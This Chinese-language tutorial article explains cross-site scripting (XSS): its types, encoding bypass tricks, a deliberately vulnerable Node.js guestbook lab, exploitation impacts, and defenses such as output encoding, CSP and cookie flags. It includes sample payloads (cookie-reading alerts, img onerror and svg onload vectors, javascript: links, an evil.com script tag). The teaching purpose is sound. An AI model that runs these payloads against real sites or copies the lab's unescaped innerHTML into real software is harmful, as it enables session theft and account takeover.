ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

从XSS攻击原理到防御落地:跨站脚本漏洞的完整拆解与实践指南

从XSS攻击原理到防御落地:跨站脚本漏洞的完整拆解与实践指南

1. 一次真实场景的XSS攻击复盘:留言区里的一行字,把我朋友的公司挖穿了一半

先说个我亲身参与过的案例。某创业团队的电商后台突然出现“大量账号异地登录”,排查了一上午都没找到问题。最后我在他们商品详情页的“规格说明”字段里发现了一行不到三十个字符的代码。那段代码伪装成正常的商品文字,用户只要打开商品页,浏览器就会悄悄把本域 Cookie 发到另一个域名——标准的存储型 XSS。那家公司从客服账号到财务后台,整整一个下午被对方“逛”了个遍,原因就在于某个运营同学把商品说明里复制来的一段带标签的文本直接存进了数据库,页面渲染时又没有做任何处理。

这个案例我想表达的不是“创业团队安全意识差”,而是想让你看清楚一件事:XSS(跨站脚本攻击)不是实验室里才有的话题,它就藏在你我天天都会写的搜索框、评论区、富文本编辑器还有 URL 参数里。绝大多数开发者见过 XSS 的漏洞报告,但真正把它讲透、讲明白的人不多。这篇长文会从原理、分类、实战演示到防御方案,把 XSS 整个生命周期完整拆给你看。不管你是刚入门的前端新人,还是写了好几年接口的后端熟手,又或是做安全测试的同行,这篇内容能帮你把“XSS”三个字从一知半解变成真正吃透。

我在这行做了十余年,见过的漏洞报告里 XSS 出现频率常年排第一。它不是最“高级”的漏洞,但它的花样绝对是最多的,而且一旦和其它漏洞组合,杀伤力远超想象。下面我按自己理解的深度,从最基础的概念一路拆到防御落地方案,全程说人话,不拽术语。

2. XSS 的三种常见形态,一次给你说清

2.1 存储型 XSS(Stored XSS):最危险、最持久的“定时炸弹”

存储型 XSS 的核心特征是:恶意脚本被持久化存储在服务器端(比如数据库),每当用户访问包含此数据的页面时,脚本都会被执行。这就不是“谁点谁中招”的问题了,而是“谁看谁中招”——只要那个带毒内容不被人删掉,它就能持续轰炸所有访客。

它最常见的落脚点包括留言板、评论区、个人简介、商品详情、富文本编辑器内容。攻击者提交一段<script>alert(document.cookie)</script>之类的代码,如果服务器端不转义、前端渲染也不处理,那么每个打开页面的用户都会中招。我复盘过最多的线上事故,十有八九都出现在这种业务场景。

2.2 反射型 XSS(Reflected XSS):需要“诱骗点击”的临时性攻击

反射型 XSS 的恶意代码不进入数据库,而是藏在 URL 参数(比如搜索关键词、跳转路径)里,由服务端拼接响应时“反射”回页面。攻击者不能直接攻击服务器,而是需要设计一个带恶意参数的链接,诱导用户点击。

举个典型场景:某网站的搜索框把用户输入的 keyword 原样回显,URL 长这样:

https://example.com/search?keyword=xxx

攻击者构造一个链接:

https://example.com/search?keyword=<script>alert(document.cookie)</script>

受害者点开这个链接,脚本就在受害者浏览器里执行了。这种攻击的“杀伤半径”取决于攻击者能不能骗到人点击链接,通常结合钓鱼场景使用。想写链接就失误,典型的“一念之差”。

实操提醒:反射型XSS属于“点了才有事”,但你别因为这样就觉得它危害小。如果目标网站上有一个支持 URL 跳转的接口,再加上返回页的反射参数,在钓鱼场景下配合社工话术,成功率相当可观。

2.3 DOM 型 XSS(DOM-based XSS):全程不经过后端的“内鬼”

DOM 型 XSS 最容易被新人忽略,因为它的整个攻击链只发生在浏览器端:恶意代码直接对页面 DOM 结构进行操作,服务器完全不参与,payload 甚至不需要发到后端。问题根源出在前端 JS 代码使用了document.write、innerHTML、location等接口把不可信数据当成了 HTML 来渲染。

典型示例:

const name = new URLSearchParams(window.location.search).get('name'); document.getElementById('welcome').innerHTML = '欢迎您,' + name;

正常访问时页面显示“欢迎您,某某”。但如果 URL 是?name=<img src=x onerror=alert(document.cookie)>,浏览器解析到 innerHTML 时会把这段字符串当成 HTML 渲染,onerror 事件触发,XSS 弹出。整个过程中服务端没有收到任何多余数据,所以服务端日志检查、WAF 过滤全都不起作用——这也是它最隐蔽的原因。

我把三种类型放一张对照表里,方便你记忆:

类型数据存储位置payload 传递方式触发时机危险程度
存储型数据库/服务器正常提交数据任意用户打开页面即触发极危险,影响面广
反射型不存储URL 参数、表单提交用户点击恶意链接时触发较危险,需要欺骗用户
DOM 型浏览器 DOMURL 参数/Hash前端 JS 运行时触发隐蔽,绕过难度大

3. 从输入到执行:一个 XSS payload 是怎么“破笼而出”的

3.1 “文本”和“代码”之间,只有一层编码的窗户纸

XSS 之所以防不胜防,最根本的原因是浏览器本身就有“HTML 解析器”和“JS 引擎”双功能。当服务器返回一个字符串,浏览器必须判断它到底是纯文本、HTML标签、还是JS代码。这个判断不是靠“长得像什么”决定的,而是看字符串当前位置的上下文。

开发者的本意是把用户输入当成“文本”展示。可一旦用户输入里包含了尖括号、引号、script标签等特殊字符,浏览器的 HTML 解析器就会把它们当作“HTML 标签结构”去解析,从而“破笼而出”。你可以把浏览器想象成一台自动门禁:开发者希望数据走“文本通道”,但攻击者输入的特殊字符能骗过门禁,让数据进入“代码通道”。

3.2 编码链路:一个 payload 在到达浏览器前经历了哪些变形

真实的攻击 payload 往往不会像<script>alert(1)</script>这么赤裸裸地出现在 URL 里。因为现代系统多少有些过滤,攻击者会做多重编码。举一个实战中常见的编码链路:

攻击者最初的 payload:

<img src="x" onerror="alert(document.cookie)">

为了骗过服务端过滤(如果服务端过滤了<img关键字),攻击者会把 URL 参数进行百分号编码:

%3Cimg%20src%3D%22x%22%20onerror%3D%22alert(document.cookie)%22%3E

服务端在拼接进 HTML 响应时如果用了urldecode()(或者前端decodeURIComponent()),浏览器收到响应后会先解码 URL 再解析 HTML,此时尖括号重新出现,img 标签生效,脚本执行。

还有更绕的做法,比如在 JS 字符串上下文中利用 HTML 实体编码嵌套:

<a href="#" onclick="var msg='&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;';">

这个例子中&#x3c;是<的十六进制 HTML 实体,浏览器在解析文本时会先解码成<,如果后续代码把这个字符串当成 HTML 插入,XSS 又成立了。关键点在于:编码链可能有多层,每一层解码后都会“还原”一部分,只要最终能够还原成可执行的 HTML/JS,攻击就成功。

3.3 常见的“破笼”技巧到底在打破什么

我在这里换个角度给你整理常见的载荷变形手法,重点不是让你拿去攻击谁,而是为了让你理解“为什么黑名单过滤必然失效”:

  • 大小写绕过:<ScRiPt>面对不区分大小写的解析器时与<script>效果相同。
  • 标签闭合:如果页面结构是<input value="用户输入">,攻击者输入"><script>alert(1)</script>就能先闭合 value 属性,再注入新标签。
  • 无 script 标签的载荷:<img src=x onerror=alert(1)>、<svg/onload=alert(1)>、<body onfocus=alert(1) autofocus>,这些全都不依赖<script>标签。
  • 重复参数覆盖:某些框架对重复参数的处理不一致,攻击者利用它绕过取参时的第一道过滤。
  • JS 伪协议:<a href="javascript:alert(1)">点我</a>,用户点击链接时执行 JS。

这些技巧说明一件事:过滤“script”关键字是堵不住所有攻击路径的,因为可执行的 HTML 标签实在太多了。你无论写出多长的黑名单,总有新思路能把浏览器带到执行代码这一步。所以防御的方向要变,这个我们后面在防御章节详细说。

4. 自己动手搭一个 XSS 靶场:五分钟看透整个攻击链路

光看原理不够,我建议你亲手搭一个极简靶场。我下面给出一个不用装任何复杂软件、本地就能跑的实验环境。这个实验的目标不在于“教你攻击”,而在于让你直观看到数据从提交、存储、回显到执行的全过程。

4.1 靶场架构:一个最简留言板

我用 Node.js 写一个极简服务,只有一个页面,一个接口,数据存在内存数组里(仅供本地实验)。

<!-- 前端页面:index.html --> <!DOCTYPE html> <html> <head><meta charset="utf-8"><title>XSS靶场</title></head> <body> <h2>留言板</h2> <form id="msgForm"> <input type="text" id="msg" placeholder="说点什么..." style="width:300px;"> <button type="submit">提交</button> </form> <ul id="list"></ul> <script> // 加载留言 fetch('/messages').then(r => r.json()).then(data => { const ul = document.getElementById('list'); data.forEach(item => { // 这里故意使用 innerHTML 渲染,作为漏洞演示 ul.innerHTML += '<li>' + item.content + '</li>'; }); }); // 提交留言 document.getElementById('msgForm').addEventListener('submit', async (e) => { e.preventDefault(); const content = document.getElementById('msg').value; await fetch('/messages', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({content}) }); location.reload(); }); </script> </body> </html>
// 服务端:server.js(需先 npm install express) const express = require('express'); const app = express(); app.use(express.json()); app.use(express.static(__dirname)); let messages = []; app.get('/messages', (req, res) => { res.json(messages); }); app.post('/messages', (req, res) => { // 没有任何过滤,直接存 messages.push({ id: messages.length + 1, content: req.body.content }); res.json({ ok: true }); }); app.listen(3000, () => console.log('靶场已启动: http://localhost:3000'));

运行node server.js,打开http://localhost:3000就能开始实验了。

4.2 三个实验,把三种触发方式各看一遍

实验一:直接注入 script。在输入框里填<script>alert('xss')</script>,提交后刷新,你会看到弹窗。原因是服务端原样保存,前端 innerHTML 把它渲染成了脚本标签。

实验二:用 img onerror 触发。输入<img src="nope" onerror="alert(document.cookie)">。这里就算没有 script 也照样弹 Cookie,因为图片加载失败触发了 error 事件。

实验三:体验漏洞页面的“真实受害场景”。用无痕模式打开一个新的浏览器窗口访问同一个页面。因为留言是共享的,新窗口同样会弹窗。这就是存储型 XSS 的传播方式——所有访问者都会中招。你可以打开 DevTools 的 Network 面板看到完整的请求/响应过程,注意Accept: text/html那段响应体里你输入的内容原封不动躺在里面。

注意:做实验请只在自己本地跑,不要拿这套逻辑去测别人的站点。没有授权对第三方系统做安全测试属于违法操作,这条红线千万别碰。写代码和学安全的所有前提都是“用于授权范围内的建设”而不是“破坏”。

4.3 在浏览器控制台里“看穿”执行过程

当弹窗出现时,你可以在 DevTools 的 Elements 面板里看到被渲染后的 DOM 结构。你会发现刚才输入的<script>已经被当作一个真正的 script 节点解析,而<img onerror>也已经插入到 DOM 树中。这个观察非常关键:你输入的是字符串,浏览器看到的却是可执行节点。理解这一点,后面防御方案的设计逻辑就很自然了——我们要做的不是“洗掉脏字符”,而是让用户的输入永远以“文本节点”的形式出现在 DOM 中。

5. XSS 能做什么?为什么说它是“弹药库”

5.1 偷 Cookie、冒充身份、会话劫持

XSS 最有名的利用就是偷 Cookie。只要页面里能执行 JS,攻击者就能通过document.cookie拿到当前域下的 Cookie(HttpOnly 标记的除外),然后构造一个带 Cookie 的请求重放出来,从而“扮演”受害者的身份。对业务系统的危害首先是账号接管,其次是越权操作。

但我必须强调两点实操认知:

  • HttpOnly 能拦住一部分,拦不住所有。因为攻击者完全可以在当前页面里直接代发请求,不需要把 Cookie 偷走也能操作受害者账户。
  • 真正值钱的不是 Cookie,而是“会话上下文”。攻击者更关心受害者在当前系统里的身份、权限和数据。

所以我经常说:XSS 是“弹药库”,因为它能帮你绕过前端所有防线,直接以受害者的身份与后端交互。

5.2 页面篡改与钓鱼:把官网变成诈骗页面

有执行 JS 的能力,攻击者就能改 DOM,把原本正常的页面换成钓鱼页面。比如注入一个假登录框覆盖在原页面上,用户输入账号密码后,脚本把数据偷偷发送到攻击者服务器。更隐蔽的做法是改掉页面上所有的真实链接,让用户点击后跳转到仿冒页面。

5.3 键盘记录与敏感信息窃取

通过 JS 事件监听(keydown、input、change)记录用户在表单里的每一次按键。用户的搜索词、密码输入、聊天内容都可能被实时上传。这种利用方式通常还需要配合“动态通信”通道,把自己的结果回传出去。在我参与过的应急响应案例中,就有人靠一段窃取输入内容的脚本,在几天内收集了上百组账号口令——直到受害者发现自己的账户有异地登录行为才察觉。

你需要清醒地认识到:以上所说的每一种利用,本质上都是“可以执行 JS”这个能力带来的。XSS 是漏洞的起点,由它展开的攻击路径五花八门。所以修复 XSS 的意义在于:不让攻击者拿到“可以执行脚本”这个令牌。

6. 防御不靠过滤黑名单:从源头堵住脚本注入

6.1 核心心法:输出编码,而不是输入过滤

很多人一听说防 XSS 就说“过滤用户输入、把尖括号替换掉”。这个思路不能说完全错,但它方向偏了。原因我们前面已经验证过:黑名单永远有考虑不到的标签和编码组合。正确的心法是:

对用户输入的数据,不做刻意的“清洗”,而是在它要输出到 HTML/JS/CSS/URL 的每一个上下文里,做对应的输出编码。

上下文不同,编码方式完全不同:

  • 输出到HTML 普通文本节点:转义<、>、&、"、'五个字符。
  • 输出到HTML 属性值:转义引号和尖括号,防止冲出属性边界。
  • 输出到JS 字符串:转义反斜杠、引号、换行等,防止闭合字符串。
  • 输出到URL 上下文:做 URL 编码。

以 PHP 的htmlspecialchars为例:

<?php echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); ?>

它会将输入中的&、<、>、"、'转成无害实体,浏览器在 HTML 上下文中会把它们当作纯文本渲染,而不是标签结构。这就是“输出编码”的标准姿势。

前端框架的默认行为其实已经帮你做了这件事:比如 React 和 Vue 在模板绑定文本时({ { } }中间的值),默认会对字符串进行转义;但如果用了v-html、dangerouslySetInnerHTML,就等于跳过了默认保护,得你自己对数据消毒,或者确保来源可信。

6.2 设置信任边界:让富文本编辑器的输入走“白名单”

有些业务场景确实需要让用户输入图片、链接、加粗等格式化内容(比如文章编辑),不能一刀切禁止 HTML。这种场景的正确姿势是“白名单过滤”:

  1. 只允许白名单中的标签:p, strong, em, a, img, ul, li, code, blockquote等。
  2. 每个标签只允许白名单中的属性:比如a只允许href、title;img只允许src、alt,并且src的协议还得限制为http、https、data:image/等。
  3. 不允许任何事件属性(onclick、onerror、onload)和style属性(style也能玩出花样,光background:url(javascript:...)就够喝一壶)。
  4. 以上逻辑要用成熟库(比如富文本编辑器自带的 sanitize 功能,或者专门的 sanitize 库),不要自己写正则应付。

6.3 上利器:CSP(内容安全策略)把执行权限关进笼子里

CSP 是一套由服务器通过响应头下发给浏览器的规则,它告诉浏览器“哪些来源的脚本可以执行”,默认情况下禁止所有内联脚本。你头一次看到 CSP 可能会觉得配置很啰嗦,但它对 XSS 的拦截能力是“结构性”的,不是靠过滤字符串。

一个典型的 CSP 响应头:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';

意思是:所有内容只允许来自同源,脚本只允许同源加载,禁用 object/embed,<base>标签也不许。这个策略下,即使攻击者注入了一个<script src="http://evil.com/x.js">,浏览器也会直接拒绝加载,并 Console 里报 CSP violation 错误。

如果业务确实需要加载内联脚本(现在很多构建工具会把 JS 打包成外链文件,内联量其实很少),可以用nonce模式:

Content-Security-Policy: script-src 'self' 'nonce-随机串';

服务端每次响应时给合法脚本一个随机 nonce,只有带这个 nonce 的<script>才允许执行。攻击者注入的脚本拿不到这个 nonce,直接作废。

有个细节值得注意:CSP 不是万能药。如果你的页面里某个第三方回调接口本身不可控,CSP 也可能被你自己的合法脚本“带跑偏”。所以合理的策略是纵深防御:输出编码是第一道防线,CSP 是兜底的第二道防线,两者都做,而不是选一个。

6.4 Cookie 相关的三个安全属性别漏了

封堵执行脚本能力的同时,我们要把“即使执行了,损失也要降一点”的兜底措施做全:

  • HttpOnly:这个属性设置后,document.cookie拿不到该 Cookie。对主要用于会话认证的 Cookie(比如 sessionid)强烈建议开启。
  • Secure:仅允许 HTTPS 下传输。
  • SameSite:控制跨站请求是否携带 Cookie;SameSite=Lax或Strict能有效降低跨站请求伪造(CSRF)与部分跨站信息泄露风险。

这三个属性加在 Set-Cookie 响应头上,例如:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax

7. 排查 XSS 漏洞的实用思路与工具

7.1 手工排查三步法

如果你在审一个既有系统(前端和后端都归你管),建议按这个顺序过:

  1. 先找拼接点。到代码里搜索innerHTML、document.write、v-html、dangerouslySetInnerHTML、eval、new Function这些危险调用,看它们的数据流是从哪里来的——有这些调用的地方,就是 DOM XSS 的高危区域。
  2. 再找后端回显点。到服务端模板文件里搜<%=、<?=、{{ }}这类模板变量输出,看有没有变量没有被转义就拼进了 HTML。
  3. 最后实测。在页面上所有可输入的位置(搜索、评论、昵称、URL 参数)都填入测试载荷。基础测试用<script>alert(document.domain)</script>就行,若被过滤再尝试大小写和 img/onerror 载荷,看哪一层能绕过。

7.2 用浏览器原生能力做快速探测

不必一上来就搬自动化工具。先用 Chrome 的 DevTools 就能做很多事:

  • 在 Console 面板手动执行document.cookie观察当前页面 Cookie 可达性。
  • 在 Elements 面板里观察输入内容是否被渲染为 HTML 节点。
  • 使用“Network”面板看请求和响应详情,确认响应体里是否有未转义回显。

如果开发环境下有构建工具,还可以利用浏览器的“覆盖本地文件”(Overrides)功能,临时修改响应内容来验证“如果这里注入 XSS,能不能执行”,方便很多。

7.3 自动化扫描的正确打开方式

市面上有不少开源扫描器能在目标站点上自动提交 payload 并根据响应特征判定漏洞。我把使用原则总结为三条:

  • 你必须有授权,或者目标是你自己的系统。
  • 扫描结果只是“疑似”,必须人工复现确认,否则误报能淹死你。
  • 扫描前先把业务摸清楚,别拿爆破 payload 打到人家下单、支付这类流程上。

我的经验是:自动化工具能帮你快速扩大覆盖面,但最终写漏洞报告、提修复方案,靠的还是你对业务逻辑和上下文编码的理解。

8. 我踩过的坑:XSS 修复中最容易犯的错

最后分享几条十几年里反复遇到的、极容易踩的坑。

第一个坑:只在用户输入时过滤。有人做了一套“通用过滤中间件”,所有入参都替换尖括号,结果别的地方拼接参数到 URL 时又解了一遍码,防御宣告失效。过滤发生在输入阶段,你根本不知道这个值将来会被用在哪个上下文,与其“猜”,不如在所有输出点统一做上下文编码。修复 XSS 的第一原则就是:在输出点动手,别在输入点猜。

第二个坑:只过滤<script>标签。屡见不鲜。有人把script字符串换掉就宣布“已修复”。结果我用一个<img src=x onerror=alert(1)>三秒内给它打回原形。做安全不是“过家家”,要在理解攻击面的基础上去防护,而不是写一道能过“测试用例”就沾沾自喜。

第三个坑:忽略 DOM XSS。很多团队的代码评审重点全在后端接口和模板输出上,完全忘了前端用v-html、innerHTML拼接 URL 参数的地方。前两年一个被广泛讨论的漏洞案例里,某产品就是因为在 URL 参数解析后直接拼到了 HTML 上,所有用户数据泄露,原因就是 DOM XSS 没人审。

第四个坑:以为加了 CSP 就一劳永逸。如果页面里本身就存在不安全的拼接点,攻击者注入的 payload 即使不能加载外部脚本,也可能利用你页面上已有的合法脚本、或者通过meta标签等方式绕过 CSP 的限制做点“小动作”。CSP 是降低风险面的好工具,不是免死金牌。

给你留个自测问题:如果你拿到一个页面,搜索框把参数原样回显到h1标签里,你应该怎么修?我建议你先想清楚这是 HTML 文本上下文还是属性上下文,然后再决定转义哪些字符——想清楚这个,说明你对 XSS 的理解已经超过大多数人了。

我在实际项目里见过太多“修了个寂寞”的漏洞修复,也见过一条严谨的编码方案堵住整条攻击链。写这篇长文的初衷,就是希望你遇到 XSS 时心里有底:知道它怎么来、怎么防、怎么查,而不是看到一堆<script>就发懵。如果你照着上面的靶场流程亲手操作一遍,相信你对“输出编码”这四个字的理解,会比以前深一个层次。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进